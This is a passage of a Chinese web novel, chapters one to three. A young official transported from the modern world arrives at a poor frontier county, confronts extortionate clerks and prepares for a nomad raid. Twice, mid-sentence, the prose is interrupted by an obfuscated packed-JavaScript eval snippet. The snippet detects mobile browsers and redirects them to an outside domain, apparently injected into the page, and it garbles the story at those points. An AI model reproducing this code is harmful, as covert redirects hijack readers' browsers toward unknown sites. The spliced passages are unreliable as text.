《扶贫五年,我登基了》 1. 县令 时值九月,位居梁国北境、燕山以南的永宁县却不见半分丰收的喜色,满目皆是萧索凋敝。 雾霭苍茫的水域中飘着一叶扁舟,因是枯水期,河水并不丰裕,眼瞧着快要到岸了。船夫偷偷打量着身侧那位相貌不俗的年轻人,盘算着待会儿能不能多要点川资,听闻州府的有钱人出手总是格外阔绰,一高兴,几百文的打赏也是有的。 今日兴许真能宰个肥羊。 肥羊本尊正疑惑地左右环视,总感觉如芒在背。 没多久便到岸了,到岸了,便意味着要给钱。裴杼低头在包袱里摸索许久,迎着船夫越发明亮的眼神,最终一咬牙,一狠心,愣是掏出了两文钱的巨款。 够多了吧? 船夫:“……” 他眯着眼,上下一扫,不觉得自己看错了人,这细皮嫩肉,一身杭绸,铁定是有钱人家出来的。既如此,怎么还抠搜成这样? 啧,两文就两文吧,总比捞不着的好。他刚伸手,就见对面的年轻人手往后缩了缩,笑得一脸灿烂:“船家,能不能再便宜一文?” 船夫瞪大了眼,一把抢过两个铜板,嘴里骂骂咧咧:“呸!还便宜?你怎么不让别人倒贴钱给你!穿得人模狗样,连两文钱的船费都要讨价还价,活了这么大岁数,第一次见你这么抠的穷鬼。” 骂完直接走人,生怕沾上了对方的穷劲。 两个铜板被夺,裴杼欲哭无泪,最后的盘缠,没了,他要硬生生走到永宁县县衙吗? 欢快的电子音突兀地响起:“宿主别怕,永宁县距离此处不过三十里,步行一个半时辰就到啦。” 一个半时辰,三个多小时,裴杼沉默了,他头一次后悔跟系统绑定。 系统小眼神瞥过来:“宿主,现在后悔已经来不及了,你在现代已经成了植物人,除非做完任务回去,否则根本醒不来。” 裴杼无奈地揉了揉脸,自己变成这样,院长还有孤儿院的小伙伴们该有多伤心?班上的朋友跟舍友们肯定也被吓坏了吧。 这事儿说起来曲折得很。 裴杼上辈子患有先天性心脏病,一出生就被遗弃在福利院旁。听着是有点惨,但其实福利院院长待他很好,政.府给的补贴也足够他们填饱肚子,等到裴杼五岁时还碰上了好心人,资助他顺利做完了手术,重新获得健康。加上裴杼天性乐观赤忱,每天高高兴兴,日子并不难过。 世上总是好人居多,裴杼能平安长大已经很满足了,他唯一的愿望就是跟院长一样,尽己所能回报社会。所以从幼年开始,裴杼每天都在拼命学习,努力生活,掌握各项生存技能。 他觉得自己就像是荒野中的胡杨树,肆意生长,不仅强壮,有朝一日还能庇护福利院;但是在院长眼里,眼前这个就是一只漂亮的快乐小狗,明明惨兮兮系但总能逢凶化吉,看到那张笑脸,总觉得连苦难都变淡了。 高考后,裴杼以优异成绩考上名校,成为一名工科生。卷王即使上了大学也还是卷生卷死,裴杼除了读好本专业的课,就是绞尽脑汁蹭其他的公开课,只要时间不冲突,他什么课都蹭。好不容易上了大学,当然要多学一点才不亏,他可不能浪费了这几年的学费! 卷王不讨喜,但是裴杼那张脸足够讨喜,舍友们只能一边含泪,一边被他鼓动着跟他一起卷。 可还没等到裴杼读完两年,他就因为救人溺水了。眼睛一睁,就被系统拖到这个在历史上本不存在的梁国。 对方自称“扶贫振兴001号”,本职工作就是穿梭在各个位面,搜集扶贫经验和数据。在系统喊着“消除贫困,济世救民”的口号振臂高呼时,年轻不经事的裴杼脑子一热就答应了。 系统倒是没有骗他,确实都是扶贫的任务,除开那些花里胡哨的成就跟暂时搞不清楚的奖励,总的来说就是九条:城防、水利、养殖、工厂、修路、建房、学校、商业跟军备。 当初的裴杼觉得这些任务都易如反掌,现在想来,留在这个没有手机、没有马桶、不能打车的古代,着实欠考虑。 有点想死了怎么办? 系统还在苦口婆心:“找一个身高、相貌、灵魂,甚至名字都跟你完美契合的人,容易嘛我?” 裴杼哼了哼,勉强算他用心。 自己穿的这个人也叫裴杼,年仅十九。裴家在京城算得上是名门大户,不过因为站错了队,新帝即位后很快就被清算了。可裴杼只是裴家旁支中的旁支,跟裴家已经没有多少关系了,裴家极盛时的荣光他没享受到,倒台时却要牵连到他。原身父母过世前,好不容易散尽家产、走通关系给他捞了一个京官,还没捂热呢,就被贬到永宁县。 梁国虽然地盘不小,但是外敌也多,西边有突厥、吐谷浑、回鹘虎视眈眈,往东北则有东胡伺机而动。永宁县在梁国东北角,乃幽州下面的一个小县城,跟东胡只隔一个燕山的距离。 一个穷困潦倒的边陲小县令,毫无前途可言,还随时可能丧命,仅剩的路费还在路上被骗了,受不了打击的原身直接自裁在于途中,叫系统给捡了漏。 活过来后,裴杼给原身立了一个衣冠冢,记下位置拜了几下后,就被系统忽悠着上路了。 既来之,则安之,裴杼也没啥好说的,只盼着早点完成任务,早日回家。说起来,有件事他一直没有琢磨清楚,裴杼的目光落到了最后一项任务上,手指一点:“第十项任务为什么不显示?” 系统迟疑:“应该是隐藏任务,完成前面九项才会开启。” “应该?”裴杼语调一扬,极不信任。 矮小的系统心虚了一瞬,好吧,其实它们扶贫系列也是刚出来的,它作为第一个试验品,任务繁重不说,一切还得自己摸索,其实连它也摸不透这最后一项任务究竟是个啥,更给不了多少意见,但是系统还是选择嘴硬:“总归不会太难,船到桥头自然直,你运气这么好,自己看着办就行。” 裴杼耳朵一竖:“什么叫我自己看着办,你呢?” 系统小声:“……我是第一个系统嘛,任务艰巨,当然要多绑定几个宿主才能早日看到成果,除了你我还相中了三个,过会儿就要去找他们了。不过你别担心,之后我还是会回来看你的。” 这就是要将他一个人扔这里了?裴杼难以置信,他是不是上当了?不对,他肯定上当了!不带这么过河拆桥的,裴杼直接抓狂:“你这是欺诈,我要投诉!” “等等。”系统赶紧转移话题,“那边有人!” 裴杼还不想放过它,系统赶紧强调:“快死了已经。” 人命关天,裴杼强压下火气,顺着系统指的方向走去。拨开层层的芦苇,确实瞧见了一个窝在岸边的中年人,个头中等,骨瘦如柴,双眉之间似乎有股化不开的郁气,不过面向看着倒是很好,有股读书人的矜贵。探了探鼻息,还算平稳,裴杼赶忙将他拖了上来。 男子微微动了动手指头,似乎睁开眼看了一下裴杼,但随即又没了动静。 系统提醒:“这人好像不太想活了。” “不想活也得活。”裴杼弯腰,抓住一支胳膊往肩膀上一架,直接将人甩到了背上。 可不是谁都能像他这么幸运,死后还被续一条命。活着不易,只要不是大奸大恶之徒,只要还有一口气,裴杼就还想再救一救。只是这前往县城的路,实在是偏僻难行,如今背着一个伤员更是举步维艰。 但也不知是裴杼运道过人,还是这个男子命不该绝,才没多久,竟然有一辆牛车经过,停在裴杼身边。 这荒郊野岭的竟然有牛车,大喜! 院长没骗他,乐观的人果然运气不会差! 牛车上的老汉望着裴杼哼哧哼哧吃力的样子,主动道:“小公子,你这是要去县城?” 裴杼连连点头,眼巴巴地看着对方:“对,去永宁县县衙。” 人都喜欢好看的,老汉后面的几个庄稼户见他生得丰神俊朗,话也多起来了:“还是个京城口音的小公子呢,不多见。我们几个是永宁县上颍村农户,这位是咱们的村正。咱们村子就在县城边,小公子你先上来,让我们村正送一送你。” 他们今日过来是去附近山上挖草药的,待回去炮制了还能卖点钱换点粮食。碰上裴杼,纯属偶然。 裴杼自然是欢喜的,可是,他摸了摸自己的包袱——里面只有就任的敕牒跟告身,外加两件衣裳,车钱是一文也掏不出来的。他低头,在这些淳朴好心人的注视下,显得有些羞赧:“我身上暂时没钱付车费。” “不妨事。”村正被这年轻人逗乐了,促狭道,“以后有钱再给也不迟。” 裴杼一本正经:“也行。” 后面的庄稼汉子笑道:“快上来吧,顺路的事,不会收你钱的。” 说着便下来将裴杼身上的人也扛上了牛车,问过裴杼,知道人是他救上来后,还七嘴八舌地讨论着。他们周边几个县都是边境,东胡人时常跑来杀烧抢掠,像这样倾家荡产的可怜人不罕见。这人又是个消瘦模样,他们便先入为主对他多了几分唏嘘。 胡人残暴,边境百姓备受其苦,日子一年比一年难过。今年听闻西北那边又有战事,朝廷将兵力都调去西北了,东北这边无暇顾及,倒是跟胡人议了和。真议和假议和暂且不知,反正幽州的官老爷们是这么说的,言之凿凿说这两年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050683|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东胡不会再南下骚扰,让他们安心过冬。也不知是安的哪门子的心,真出了事儿还不是百姓们倒霉? 裴杼疑惑:“官府不管吗?” “官府?那就是个吃人不吐皮的地方,幽州的老爷们就没管过我们。” “那永宁县县衙的人呢?” 村正一边赶车,一边愤懑道:“县衙能管什么事?只晓得收粮。今年年成本就不大好,上任县令为了表现,将连咱们留的种子都给征上去了,只剩下最后一点口粮。没了种子,今年冬天也不知道该怎么办,但愿能从幽州城的地主手里借点儿种子。否则耽误了冬天那季麦子,来年铁定要饿死。” 村民们同仇敌忾: “那粮食收上去,还不知道是落到谁的口袋里。” “没准就是被那个县令给带走了,那么多的粮食呐,都被收上去了,这是要眼睁睁看着咱们死。” 裴杼脊背越来越弯,小声辩解:“不是听说来了一个新县令吗,肯定有转机的。” 村正摇了摇头:“天下乌鸦一般黑,依我看,新县令也不是什么好东西。” 裴杼:“……” 不敢说话。 牛车晃晃悠悠往前赶,半晌,有人问:“对了,小公子去县衙干什么?” 裴杼失去了所有的阳光开朗,弱弱地道:“有桩案子要问。” 想到县衙那办案的风格,众人便都不追问了,只希望这年轻人好运吧,接着又开始骂县衙,还筹备着找幽州哪位地主老爷家借粮食。日子虽然艰难,但总要活下去,对农户来说田里能有点收成,就还能活,还有希望。 上颍村附近的村民家中都不富裕,这头牛是他们村中唯一的耕牛。稍微富裕些的早就跑去幽州南边了,谁还会守着这等危险之地?别看永宁县还是个县,其实幽州官员就是拿永宁县当人.肉.城墙,边境的守军大都在幽州,永宁县压根没有几个兵,吃了亏也只能忍着。 裴杼一路听着,心中的巨石往下又沉了几分,永宁县的境况比他想象中的还要棘手。 前有外患,倘若东胡南下,距离燕山最近的永宁县首当其冲。 后有内忧,不当人的前任县令跟他留下来的班底做尽了竭泽而渔的蠢事。 天崩开局,天生爱笑的人都笑不出来了。 裴杼死死盯着系统:“你不能走!” 系统含糊其辞。 裴杼继续紧盯。 系统也是拿他没办法:“好吧,把你安顿好我再走。” 那就是还是要走的,一股上当受骗的悲戚感萦绕在裴杼心头,前途太渺茫了…… 也不知在牛车上颠了多久,总算是见到了人烟,越过两个村落,等到了转角处人声逐渐嘈杂起来,中间似乎还夹杂着压抑的哭声。 村正竖着耳朵听了一会儿,忽然停住牛车,一个箭步冲了上去,其他村民也赶紧跳下牛车,一路紧随其后。 裴杼虽不明所以,但也知道肯定发生了要紧的事,将伤患平放之后,忙不迭地跟上。 县衙的官差又来收粮食了。上次收了满额的税粮,这会儿又来强征口粮,将各家都搜了一遍,竟恶毒到要将百姓仅存的口粮都拿走。 裴杼觉得这世界都颠了,这还有王法吗? 村正还在据理力争,但是他好言说得再多,也架不住县衙的人蛮横不讲理。为首那人因不耐烦直接一把将他踹开,周围人要冲上来,几个官差立马抽出了刀。 森然的刀光震慑住了所有企图抢回粮食的村民。 五十好几的村正捂着胸口,艰难地抽着气:“官爷,这回的粮食真的是仅存的口粮了,再收上去,村里人真要没饭吃了。” “放屁,哪回收粮食你们不这么说?也没见你们饿死过。真没了粮,燕山那边有的是野草树皮,自然饿不死你们。” 听听,这是人话吗?里头有个小媳妇抹着眼泪,不甘心地质问:“可税粮上次不是收完了吗?” 差役凶神恶煞:“上次是税粮,这次收的是省耗跟羡余,我们可没落下一星半点,都是朝廷知名要的。朝廷要的,谁敢不给?今儿就是天王老子来了,这粮食也得收!” “是么,我怎么没听过,税粮之外,还有所谓的省耗跟羡余?” 差役循声望去,只见人群后面走出个年轻人,一袭蓝衣,眉目俊朗,气质卓然,但这般年岁,估计也就是哪家初出茅庐的小公子,能管什么事儿?差役心中底气大增,啐了一口:“你算个什么东西,有什么资格开口?” 裴杼不慌不忙地取出自己的敕牒,扫过众人: “永宁县新任县令裴杼,资格够么?” 2. 立威 县令?! 破天荒的一句话,叫众人惊得一时都回不来神。尤其是方才大放厥词的差役,直勾勾地盯着裴杼手上的敕牒,有心想要拿过来验一验真假,又怕彻底得罪了新县令。 “是不是真的?”有人窃窃私语。 裴杼扬起嘴角:“如假包换。” 为首的差役心一沉,其实裴杼敢放出这句话,多半就是真的。毕竟就算是有天大的胆子,也没人敢冒充朝廷命官。他们只是惊疑于对方的年龄,太年轻了! 年轻才可怕呢,没准是走着什么路子升上来的,背后兴许还有贵人,不是他们这些无名小卒能得罪得起的。况且,此人特意挑在人前表露身份,摆明了不怕他们出手。自然他们也不敢出手,杀害朝廷命官这种事儿若是传出去了,他们有几个脑袋能够砍的? 几个差役迟疑片刻,立马跪下讨饶,全然没有了方才趾高气扬的姿态:“大人误怪,都是我等有眼不识泰山,实在是没想到大人年少有为,年纪轻轻便已经官至县令。得罪之处,还望大人海涵。” 千穿万穿,马屁不穿,先讨好裴杼总不会错。 裴杼望着被抢过来的粮食:“那这省耗跟羡余?” 村民们也紧盯着差役,这可关乎他们的口粮。 为首的差役名叫孙唤,平常在县城里也算是一霸了,此刻却不得不低头:“都是误会,误会。” 他认错认得干脆,可裴杼却不愿意就此罢手,慢条斯理地将敕牒卷了起来:“是误会还是成心,得查过了再定,先将粮食放回去。” 还得继续查……?差役对了个眼神,打算再找个借口糊弄过去,反正新县令也不晓得里头的事。刚准备开口就听裴杼忽然警告:“想好了再说。” 几个差役欲言又止,皆是苦大仇深,这回只怕是惨了。 见此,裴杼心中颇为得意,他可是火眼金睛,没有谁能在他的眼皮子底下串通一气——这是一个来自常年在福利院审理各大纠纷的“法官”的自信! 上颖村的村民仍在偷偷打量裴杼,这一刻,少年的背影变得无比伟岸,谁都没想到自家的粮食这么轻易就被保下来了,看来这位新县令倒是真跟以往的那一位不同。唯有村正反思了一下他们路上说的那些大不敬之语,提心吊胆地上前请了罪。 裴杼心大得很,他不提裴杼都不记得这桩事了:“无妨,我还得谢谢你们将我带回来,待我在城中安置好了再将路费送你过来。” 村正本欲说不用,但转念一想,大人这是给他们村做脸呢。如今给他们撑腰,往后那些差役才不敢轻易欺负他们。唉,是他有眼无珠,县令大人真是个好官。 上颖村村民们千恩万谢地护送着裴杼离开了,待走远之后,几个后知后觉的村民才围在村正旁:“咱们方才是不是说县令大人坏话来着?大人真的不会怪罪咱们吗?” 村正老神在在:“放心,县令大人大度,不会跟你们计较的。” 有人抬眼瞧了瞧他:“村正,貌似是您老骂得最凶。” 村正立马瞪了他一眼,恼羞成怒:“胡说八道,我对大人尊重至极,从未说过大人半点不是!” 周围嘘声一片。 他们这儿还有心思说笑,领着裴杼进县衙的孙唤等人一点笑不出来。一路上裴杼紧盯着,他们口供都不好对。等到了县衙,还没来得及想好对策,人就都被裴县令给叫出来了,众目睽睽之下,更不好分辩了。 都知道新县令即日上任,却不想这般突然,他们原以为至少还有半个月。如今来得急不说,还刚好赶上了县衙差役强征税粮,场面一时说不出的尴尬。 众人在端详裴杼,裴杼也在打量他们。给他引荐的是永宁县正九品上的县丞郑兴成,县衙中的二把手。个头不高,为人瘦削,容长脸,留着两撮不合适宜的短须,一开口,总叫人将注意力全移到那两撮灵活的胡须上了。 与他站得极近的是主簿张如胜,体态圆润,五官被肥肉挤得稍显紧促,说话时眼珠子滴溜乱转,看得出有点心思,但不多。至于旁边那个不爱说话的闷葫芦,则是县尉魏平。 这三人便是县衙里头唯三的官了,剩下的都是役,郑兴成寥寥几句便匆匆带过。 认完了人,今日之事才被搬到了台面上。孙唤等人跪在地下,心中也挺忐忑。都说新官上任三把火,也不知县令大人要怎么烧。可他们收粮,也不是自己的错啊,孙唤眼睛瞄着郑大人。 郑兴成不动声色地回瞪了过去,直等到对方低下了头,这才笑着同裴杼解释: “大人,这一地有一地的乡俗,您从京中赶来,对永宁县衙从前的行事风格不了解也是有的。省耗跟羡余原是上一任县令陈大人所定,多年来一直都是按此规矩收缴。今年永宁县收成不好,陈大人临走前千叮咛万嘱咐,让县衙好歹多收点粮缴上去,免得上面的官员对永宁县印象不佳,也影响了……大人您的政绩啊。” 合着还是为他着想?简直感人至深,裴杼听得都气笑了:“如此说来,反倒是我的不是了?” 系统也叹为观止,这郑兴成也太会说话了,黑的都能被他说成白的,它还真担心裴杼吵不赢他。 郑兴成胡说八道的功夫确实不是裴杼能比的:“大人何错之有?只是不了解内情罢了,其实这省耗跟羡余并非新词,外头这么收粮的大有人在,都是心照不宣的定例。” 有道是水至清则无鱼,人家都收,他们不收也说不过去。郑兴成看裴杼年轻便打算以利诱之,没准对方跟自己还是一路人呢,若真如此,以后相处起来更方便。 不料裴杼听罢直接火冒三丈:“巧立名目、捏造赋税,单这一项就足够上任县令喝一壶了。如今新君即位,各处都在整顿吏治,你们却在税法之外横征暴敛,与君上的新政背道而驰,真是好大的胆子!” 魏平突然抬头,目光灼灼地盯着这位新县令。 总算来了一位不一样的大人! 他们永宁县有救了! 郑兴成跟张如胜却对此嗤之以鼻,什么狗屁新政,他们只听说过新君杀人如麻,压根没听说新君有什么惠及百姓的政策,这不是鬼扯么?但鬼扯也是冠冕堂皇的鬼扯,堂下无一人敢反驳,尤其是先前扯大旗的郑兴成。 气氛焦灼,郑应成等人都有些下不来台,急需一个台阶,不爱说话的魏平却主动站了出来。 张如胜眨了眨眼,这臭石头怎么跑出来了? 魏萍拱了拱手,开始慷慨陈词:“大人所言极是,此事乃大逆不道,即便陈大人已卸任也该追查到底,下官愿做人证,为永宁县百姓鸣冤,还百姓一个公道!余下一应同党,也该按律重罚,即便牵连到下官也无妨,身为佐官不能劝阻县令,所有惩罚都是下官等应受的,是罪有应得!至于这些欺压百姓、横行乡里的差役,原就不是什么好人,直接拖出去枭首示众吧。” “咚”得一声,孙唤等人惊恐地跌坐在地上,跪都跪不稳了。 他们只是没有把魏大人放在眼里,又没刨他祖坟、杀他父母,何至于此? 魏平瞥了他们一眼,似乎觉得自己方才说得是有点残忍,于是改口:“要不还是赐毒酒吧,好歹留个全尸,彰显大人仁慈。” 裴杼:“……” 郑应成:“……” 好仁慈。 系统也敬佩不已,果然老实人不好惹,也不知道这番话他到底憋了多久了。 裴杼与郑应成对视一眼,于僵持中似乎达成了共识。 半晌后,郑应成憋屈地低下了头,主动向裴杼服软:“陈大人既已离任,功过是非还是由朝廷来判吧,此事的确是我等思虑不当,只顾延续旧例,没有及时醒悟规劝上峰,给治下百姓带来不少困扰。下官愿自罚三月俸禄充公,所有收上来的粮食一律返还给百姓。今日闹事者,皆压下去重责二十板子,以儆效尤,大人觉得如何?” 原本郑应成不想认错的,更不想处置自己的人,可是魏平这家伙把路给走绝了,郑应成不得不推出几个人来给裴杼泄愤。 裴杼也收敛了许多,揣着手点了点头:“既然郑大人开口,那就先这么处置吧。” 仔细想想,粮食还回去了,恶人也处置了,自己顺利立威,好像一点儿也没亏。不过这都多亏了魏大人,若不是他那郑县丞只怕还要狡辩,亏得魏平能一鸣惊人。 散场后,郑应成黑着脸带着人去打板子,魏平则领着裴杼前往县衙后的官舍处安置,还打发了人去城里叫来个大夫给伤员诊治。 永宁县清贫,官舍却不算简陋,尤其是裴杼所住这几间,修缮得格外大气。听闻是前任县令的,留下的几件大件家具也是价值不菲,如今便宜了裴杼。他没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050684|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行李,索性这官舍什么都不缺,直接拎包入住了。 裴杼也在魏平口中,听说了不少永宁县旧事,有无夹带私货就不得而知了。 在魏平口中,前任陈县令就是个毒瘤,见天只想着搜刮民脂民膏。魏平虽不服,但官大一级压死人。哪怕他没做过恶,可骂名得一同背着,风险也得一同担着,气得他牙都快要咬碎了。 陈县令离开之后,郑应成便成了县衙的话事人,此人也是居心叵测,贪婪成性,毫无用处,魏平早就想但他们全都砍了泄愤。只可惜,裴大人似乎并没有收拾死他们的打算,不过魏平也不气馁,早晚能有机会将这些蛀虫都绳之以法! 而到了郑应成跟张如胜口中,魏平同样不是个东西。他二人甚至恶意揣测,魏平是不是因为没分到税粮所以才倒打一耙。 不过最应该怪的,还得是裴杼。若是他再晚来十多日,郑应成便能将多余的粮食收上来直接打点府城的官员,好叫他早日调去幽州、远离这是非之地。只可惜就差那么一点,以后想要捞些油水为自己打算,只怕是难了。 “真晦气!”听着外头的板子声,郑应成烦躁地发着牢骚。那二十板子是他应下来的,虽然在他看来这是变相的保护,可孙唤等人未必会这么体谅他,没准心中反而憎恨他。 都是裴杼的错,若非他咄咄逼人,自己何至于同这些差役生分?嫌隙一起,以后谁还会全心全意替自己卖命?今日过后,少不得要多出点血拉拢这些人。 张如胜没这么多的顾虑,只是在旁问道:“您说那裴县令到底是个什么来路,怎么刚来就这么横?” 郑应成也觉得奇怪,裴杼孤身前来赴任不像是有后台的样子;可他如此年轻,又是一身的傲骨,穿着更是不俗,必然是大户人家才能养出来的气度。郑应成倒是想给裴杼下马威,可又担心毁了自己的前程,最终也只能恨恨地道:“且等着,我先叫人查一查他的来路,若无人可依,来日我必定要他好看!” 小小的县衙中暗流涌动。 午后,被灌了一碗药的伤患悠悠转醒,裴杼兴冲冲守在床边,毕竟救活了一个人,而且这还是他穿越之后救的头一个人,裴杼心中很有成就感。 “如何,渴不渴?要不要喝水?可还有什么地方不舒服?”裴杼自来熟地询问,“我是永宁县的新县令,路上碰到你倒在河边就顺手救上来了,你还记得不?” 那人只是睁着眼睛在裴杼身上逡巡一圈,落在他稍显稚嫩的脸上,而后归于缄默,了无生机。 系统:“我就说么,这人肯定不想活了。” 裴杼满腹的热情瞬间被浇灭了,本还想问他叫什么名字,见状却只剩下了眉头紧皱。他还想要劝一劝,可又不知对方究竟遇上了什么事,有些无从下嘴。裴杼放下水:“你先养养身子吧,有什么事情等病好了再说。” 治好后,问清楚他有无作奸犯科,若是个好人,还是早些放他离开吧。 那人什么时候离开是个未知,但是系统是真的要离开了,它相中的人还等着他绑定呢。如今裴杼已经平安抵达永宁县,且不论如何总归有个魏平愿意主动投诚,开局总归没有那么糟糕,系统已经急不可耐去开拓事业了。 裴杼闻言心一慌:“可我任务都还没开始做呢!” “怕什么?船到桥头自然直,你照着上面做就行了。”第一个任务它降低了难度,算是开局福利,等裴杼自己试试就知道了,系统怕透露太多这家伙犯了懒。 裴杼犹豫:“可是……” “没有可是,不会出什么岔子的。”溜走之前,系统还不忘画饼:“等我安排好了那头的事情就回来看你,你安心做县令,完成任务就会有丰厚的奖励,加油干,永宁县百姓都在等着你呢!” 裴杼还想挣扎挣扎,只是他一抬头,系统就不见了。 跑得倒是快。 裴杼纠结一番,最终也只能开解自己,他天生好运,遇事能逢凶化吉,肯定能早日完成任务回去的,院长他们还在等着他呢。他上辈子都能顺利活下去,这辈子身强体壮,难道还能被打倒? 区区扶贫,小事一桩。 才放妥了心,外头忽然有个小役一脸惊慌失措地跑进来,见着裴杼后立马叫道:“大人不好了,前头转来消息,胡人又南下了!大人,您听到了吗,大人您怎么了?” 3. 敌袭 噩耗来得着实突然,大脑宕机了许久的裴杼愣是逼自己强制重启了。 他还不能被吓傻,此刻怒斥系统不靠谱已经没有任何意义,裴杼拉着来人的手追问:“前头是传给谁的消息?” “郑大人。” 意料之中的答案,裴杼立马跨出官舍,直奔前方,直接跑出了残影。 后面的差役目瞪口呆,大人体力真好啊。正想跟上去,旁边忽然伸出一只枯瘦的胳膊,再次拦住了他的去路。 原来是县令大人救上来的倒霉蛋,差役眉头一竖:“你出来干嘛?” “胡人来的多吗?”大病未愈,王绰说话还有些沙哑。 差役不耐烦道:“多不多跟你有什么关系,别添乱!” 说完一把推开人,转身一路小跑,也愣是没追上裴大人。 郑兴成就在大堂,此刻县衙的人多半都围在此处,皆是听闻此事赶来商议的。 裴杼进来之后,众人便让出了中间的位置,可裴杼已经无心管这些了,站定之后连珠似的问道:“郑大人可知胡人为何南下,来了多少人,如今在什么位置,还有多久抵达永宁县?” 郑兴成被裴杼劈头盖脸一顿盘问给弄得懵了好一会儿,缓了缓才回道:“东胡今年水草不丰,入秋后储备不够,离梁国稍近的胡人便准备南下抢点口粮。这次来的也不算多,只有一千余人,并非官府组织,只是结伴而来。这一千人马,眼下正逼近永宁县,约莫还有一日多的功夫就能抵达。” 郑兴成虽贪了些,但也不是毫无作为,多年来还是安插了不少眼线在东胡的。他费尽心思做这些自然也不是为了百姓着想,而是为了保全自己这条小命。早知敌情才能早做打算,至于百姓如何,并不在他的考虑范围之内。 裴杼心中有了计较,问道:“永宁县有多少兵力?” 魏平摇头:“不过几十。” 守军都在幽州城,若是要调兵,须得先向幽州太守请示,即便对方愿意调兵,一来一回也得费上不少功夫,只怕是来不及。更遑论如今两国还在议和,幽州太守多半不愿意开战。 裴杼蹙眉:“那永宁县境内有多少青壮年?” 这事儿魏平清楚:“县内有两千三百二十一户,约有三千九百余壮丁。” 裴杼还没顾得上高兴,郑兴成便幽幽地道:“有人无用,胡人带着烈马跟长刀,咱们拿什么跟他们打?只要露面就是送死。” 胡人骁勇善战,残暴异常,北地的梁国百姓对他们十分畏惧,即便有刀也未必敢硬上,更不用说他们手无寸铁了。 裴杼愁得都在揪头发。难,太难了,系统倒是一走了之了,给他留下了这么一个大烂摊子。 这群人中,也就只有初出茅庐的裴杼是真着急,其他人或多或少都已经麻木了。东胡人年年南下,年年都要来这一出,如何应敌,县衙其实早有对策。再说此次胡人来的还算少的,只有一千余人,破坏力应该也不强。郑应成看出了裴杼的困扰,好心宽慰道:“其实大人也用不着太担心,这些人抢了些粮食便会回去的,只要紧闭城门,熬过这些日子就是了。” 裴杼听得匪夷所思:“紧闭城门?放任他们去抢城外的百姓?” 郑应成一脸理所当然,从前就是这么做的,只要胡人得了粮食牲畜或者掳到了足够的女眷就会离开,最好不要反抗,否则伤亡更多。 须臾,裴杼望向魏平,若魏平当真嫉恶如仇,为何不站出来说话? 魏平其实没脸反驳,毕竟先前的确是这样应对的,幽州官员拿他们当人.肉城墙,永宁县县衙则拿城外百姓当做人.肉城墙。 可这原本就错了,裴杼不能接受,这与他从小到大的坚持完全背道而驰,裴杼定定地望着郑兴成:“若是将城外百姓都放进城中呢?” 郑兴成打量了裴杼一眼,几不可察地笑了一声,他算是看明白了,这位新县令真是个慈悲心肠,也就只有完全不了解世情的蠢蛋才会有闲心思悲天悯人。一开始,谁不是这样呢?不过好在现实会给他教训,郑兴成随手一指:“九年前陈县令听信了魏大人的话,放了所有城外百姓入城避难,结果激怒了对方,那次东胡集结数万人马攻城,永宁县死伤惨重。原本永宁县可足足有四千多户的。” 魏平攥着衣角,双目低垂,生怕与旁人直视。 郑兴成白了一眼,心中骂了一句“蠢货”。在没有实力前,任何妄图救人的都是蠢货行为,郑兴成一锤定音:“死守城门即可。” 裴杼斩钉截铁:“不行。” “哦?”郑兴成玩味一笑,“难不成大人还想跟东胡人正面对上?大人没经过战事,想法天真也在情理之中,可下官希望,大人不要用您那一腔热血来挑战永宁县数十年攒下的经验。” “什么经验?未战先降的经验,还是见死不救的经验?”打都没打就这么放弃,裴杼实在理解不了。 郑兴成一口老血险些没压住,他好歹也是永宁县二把手,裴杼竟然当众羞辱于他,真是好样的,他早晚弄死裴杼! 话不投机半句多,郑兴成眼神威胁了一圈衙门众人,撂下一句“反正我不同意放百姓入城”,说完便径自走人。 张如胜挺着腰板,嚷嚷着:“我也不同意!” 喊完了立马跟着郑兴成跑了,他跑的还特别快,等出了大堂后还差点把郑兴成给撞趴。 郑兴成稳住身子,恼羞成怒地踢了他一脚,可这胖子一身的肉,被踢了非但不疼还朝他傻笑了两声,笑得郑兴成心头更恼火了。 ……都是裴杼那小子的错! 张如胜挠了挠头,竟然跟郑兴成想到一处了:“大人您别着急啊,那裴县令也就嘴上说说,真碰到了胡人他肯定立马就怂。” 郑兴成冷哼一声,他料想也是。毛都没长齐的黄毛小子,哪有胆子跟胡人对上,他知不知道胡人有多可怕:“等到他束手无策时自然要求到我头上,到那时,看我如何羞辱回去!” 郑兴成不仅自己走了,还带着所有他这边的人一道撤了,不论裴杼吩咐什么,差役们都消极抵抗,仅靠那些愿意跟着裴杼奔走的人,压根没办法抵御外敌。 整个永宁县就像是一盘散沙。 裴杼带着魏萍在库房里巡视了一圈,也没看到几件趁手的武器,没有足够的刀跟箭,对上胡人胜算的确不大。可要他这样放弃又实在是不甘心,他怎么能眼睁睁看着城外那些村民去送死? 从来都是城门紧闭,但是从来如此就一定是对的?若是他不做改变,岂不是跟以前那个陈县令一样禽兽?那他到这里的意义是什么? 现在的问题是,要如何保住城外所有百姓的性命跟财产,同时又能及时退敌。 他得保证一定能赢,否则就没有以后了。 王绰默默走近,凝视着一筹莫展的两人。他已从旁人口中打听到前因后果,这事县衙不打算外传,更不希望城外那些百姓知晓,毕竟知道就会生乱,到时候反而更不好管理。 